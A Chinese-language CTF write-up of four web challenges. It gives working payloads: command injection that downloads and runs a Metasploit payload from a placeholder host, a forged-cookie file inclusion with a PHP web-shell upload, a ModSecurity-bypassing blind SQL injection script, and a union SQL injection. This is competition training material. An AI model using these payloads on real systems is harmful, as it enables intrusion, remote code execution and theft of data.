被队友们带飞了, 最后总榜第十 校内第二
calc
右键 /source 源码
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@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
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flask 报错可以看到 waf 的过滤规则
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http://162.14.110.241:8050/calc?num[]=
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def waf(s):
blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
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试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格
然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来
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/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a
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因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线
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/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a
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ez_php
ayacms github 地址
https://github.com/loadream/AyaCMS
issues 里能看到很多漏洞, 但是全都要登录后台/前台
后台 admin.php 试了弱口令无果, 前台也无法注册…
于是直接下载源码进行代码审计, 然后看了大半天
源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行
这样思路就转换为寻找存在文件包含的漏洞点
找了好久在 /aya/admin.inc.php 找到一处
其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码
加密过程中的 AYA_KEY 就是默认值 aaa
有了文件包含之后思路就广了许多, 然后结合一下已知漏洞
https://github.com/loadream/AyaCMS/issues/3
payload
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<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
$hash='';
$max=strlen($chars)-1;
for($i=0;$i<$length;$i++){
$hash.=$chars[mt_rand(0,$max)];
}
return $hash;
}
function kecrypt($txt,$key){
$key=md5($key);
$len=strlen($txt);
$ctr=0;
$str='';
for($i=0;$i<$len;$i++){
$ctr=$ctr==32?0:$ctr;
$str.=$txt[$i]^$key[$ctr++];
}
return $str;
}
function encrypt($txt,$key=''){
$key or $key='aaa';
$rnd=random(32);
$len=strlen($txt);
$ctr=0;
$str='';
for($i=0;$i<$len;$i++){
$ctr=$ctr==32?0:$ctr;
$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
}
return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');
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http 包
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POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
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ezbypass
hint 提示 waf 是 modsecurity
网上找到一篇参考文章
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行
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import requests
import time
flag = ''
i = 1
while True:
min = 32
max = 127
while min < max:
time.sleep(0.08)
mid = (min + max) // 2
print(chr(mid))
payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)
url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)
res = requests.get(url)
if 'letian' in res.text:
min = mid + 1
else:
max = mid
flag += chr(min)
i += 1
print('found', flag)
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ez_sql
题目描述给了源码
app.js
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import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {
ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {
const id = helpers.getQuery(ctx, { mergeParams: true });
const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();
ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });
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db.js
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import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/[email protected]/mod.ts";
const connector = new SQLite3Connector({
filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {
static table = 'flight';
static fields = {
id: { primaryKey: true, autoIncrement: true },
departure: DataTypes.STRING,
destination: DataTypes.STRING,
};
}
class Flag extends Model {
static table = 'flag';
static fields = {
flag: DataTypes.STRING,
};
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({
departure: 'Paris',
destination: 'Tokyo',
});
await Flight.create({
departure: 'Las Vegas',
destination: 'Washington',
});
await Flight.create({
departure: 'London',
destination: 'San Francisco',
});
await Flag.create({
flag: Deno.env.get('flag'),
});
export default Flight
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跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98
https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436
唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp
不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去
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http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;
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